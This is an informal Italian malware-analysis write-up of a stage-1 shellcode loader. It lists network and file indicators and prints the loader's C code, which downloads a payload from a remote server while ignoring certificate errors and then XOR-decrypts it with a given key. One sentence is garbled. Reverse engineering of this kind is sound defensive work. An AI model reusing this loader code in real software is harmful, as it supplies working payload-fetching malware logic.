
Analisi per caricatore di shellcode stage1 da hacking
Diagramma di flusso del codice
IoC di rete
https://172\[.]20\[.]20\[.]164
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; MDDRJS)
IoC di infezione (file rilasciati)
2s5s7k8w8b4i.dat
9z8o5d9l0p6c.dat
Ok, quindi che cavolo. Prendiamolo. Loader.sln o loader.c
ok quindi avvio e da avvio ad asm? cosa succede in asm? pic (codice indipendente dalla posizione) shellcode. fico, e cosa fa? fondamentalmente eseguirà Loader(0xdeadbeef), perché?? non so perché hanno scelto quell'indirizzo, ma a quell'indirizzo dovrebbe esserci il codice unpackato. comunque, continuiamo e vediamo cosa succede nel debugger. Correzione: facciamo Loader(eax) ed eax è un indirizzo IP con un file .dat .png)
Ora, se seguiamo il flusso, entriamo in loader

Per ora salteremo LoadVtable, dato che è onnipresente e grande, e ci torneremo dopo aver finito di analizzare il resto delle sue capacità. Ora andiamo a ispezionare DownloadAndDecryptTls.
DownloadAndDecryptTls

Ora una cosa interessante che ho notato durante il debug.
È che, come puoi vedere nell'immagine qui sopra e nel seguente snippet
DWORD dwFileSize;
LPBYTE lpFileBuffer = DownloadAndDecryptTls(&pVtable, lpLoaderConfig->strUserAgent,
lpLoaderConfig->strUrl,
&dwFileSize,
lpLoaderConfig->dwXorKey,
lpLoaderConfig->dwXorKey ? TRUE : FALSE);
è che lpLoaderConfig viene recuperato dinamicamente. ma da dove? beh, a quanto pare scarica o usa internamente quel file .dat? e cos'è quel file .dat. Ispezionando l'archivio
vediamo un altro file interessante, shellcode_0x95d. Se lo ispezioniamo in hxd
vedrai un mucchio di chiamate API e quell'URL. quindi fondamentalmente questo è il vero shellcode :) fico, ci daremo un'occhiata dopo che avremo finito con questo.
Ora, solo per dopo, la chiave xor è 0x6281f17f. Ora, per una breve analisi fino al punto interessante ValidateCa. Fino a lì non succede nulla di davvero speciale in questa funzione; la cosa più interessante è la chiamata a InternetOpenA, che inizializza la DLL per la roba di rete. Sarà interessante ispezionarla dinamicamente per vedere un trucco che hanno usato. Lo fanno nel codice C con
hOpen = lpTable->InternetOpenA(strUserAgent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
che è un argomento in meno rispetto all'API. Comunque basta parlare, vediamo cosa succede nel codice.
Quindi nel debugger appare così
Quindi immagino che quello che succede qui è che, poiché usa INTERNET_OPEN_TYPE_PRECONFIG, utilizza una struttura preconfigurata e lptable ha già l'URL al suo interno.
Comunque, dopo abbiamo ValidateCA
quindi comunque, perché facciamo questo? Perché determina semplicemente se vogliamo usare https o http
DWORD dwHttpsFlag = 0;
if( ValidateCA(lpTable) )
dwHttpsFlag = INTERNET_FLAG_SECURE;
else
dwHttpsFlag = INTERNET_FLAG_SECURE|INTERNET_FLAG_IGNORE_CERT_CN_INVALID|INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
Poi facciamo una semplice richiesta GET e poi scarichiamo il file da http. Niente di troppo speciale qui. Se ti stai chiedendo se c'è qualcosa di speciale nel codice, penso di no; probabilmente puoi trovare esempi su internet su come fare questo. Come scarica i file la funzione DownloadFile? Usando InternetReadFileExA.
Comunque, ecco il codice
if( hOpen )
{
hConnect = lpTable->fpInternetConnect(hOpen, serverName, INTERNET_DEFAULT_HTTPS_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0 );
if( hConnect )
{
hReq = lpTable->fpHttpOpenRequest(hConnect, strGet, strResource, strHTTPVersion, NULL, NULL, dwHttpsFlag, 0 );
if( hReq )
{
if( !ValidateCA(lpTable) )
{
DWORD dwFlags;
dwBuffLen = sizeof(dwFlags);
lpTable->fpInternetQueryOption(hReq, INTERNET_OPTION_SECURITY_FLAGS,(LPVOID)&dwFlags, &dwBuffLen);
dwFlags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA;
lpTable->fpInternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
}
if( lpTable->fpHttpSendRequest(hReq, NULL, 0, NULL, 0) )
{
dwBuffLen = 16;
dwIdx = 0;
lpTable->HttpQueryInfoW(hReq, HTTP_QUERY_CONTENT_LENGTH, strBuff, &dwBuffLen, &dwIdx);
*dwFileLen = lpTable->wtoi((LPWSTR) strBuff);
LPBYTE lpFileBuffer = (LPBYTE) lpTable->VirtualAlloc(NULL, *dwFileLen, MEM_COMMIT, PAGE_READWRITE);
if (DownloadFile(lpTable, hReq, lpFileBuffer, *dwFileLen))
{
if (bXored)
lpPayload = Decrypt(lpFileBuffer, *dwFileLen, dwXorKey);
else
lpPayload = lpFileBuffer;
}
} // if( lpTable->fpHttpSendRequest )
} // if( hReq )
} // if( hConnect )
} // if( hOpen )
/* close handles */
if( hReq )
lpTable->fpInternetCloseHandle(hReq);
if( hConnect)
lpTable->fpInternetCloseHandle(hConnect);
if( hOpen)
lpTable->fpInternetCloseHandle(hOpen);
return lpPayload;
Ora ispezioniamo il controllo if relativo alla decrittazione per vedere se entra o no nella funzione di decrittazione. In base alle mie ipotesi, durante la sperimentazione bXored sarà true, quindi dovremmo entrare nella funzione di decrittazione. Sfortunatamente la nostra ipotesi era sbagliata perché
.png)
lpTable->fpHttpSendRequest is being used in the id not bXored and since the server is down
non saremo in grado di inviare una richiesta a quel server dannoso. Ora potrei emulare un server con Frida, ma a che fine, visto che abbiamo già il payload noi stessi. Ora resta solo da disassemblarlo e decidere se è criptato o no. Ora la decrittazione appare anche così
LPDWORD lpD = (LPDWORD) lpBuffer;
LPBYTE lpB = (LPBYTE) lpBuffer;
for (UINT i=0; i<dwBuffLen/4; i++)
lpD[i] ^= dwXorKey;
for (UINT i=dwBuffLen - (dwBuffLen%4); i<dwBuffLen; i++)
lpB[i] ^= 0x41;
return lpBuffer;
che è una xor a due chiavi e dwXorkey è 0x6281f17f.
Ora torniamo alla funzione Loader per risolvere l'ultima parte del loader.
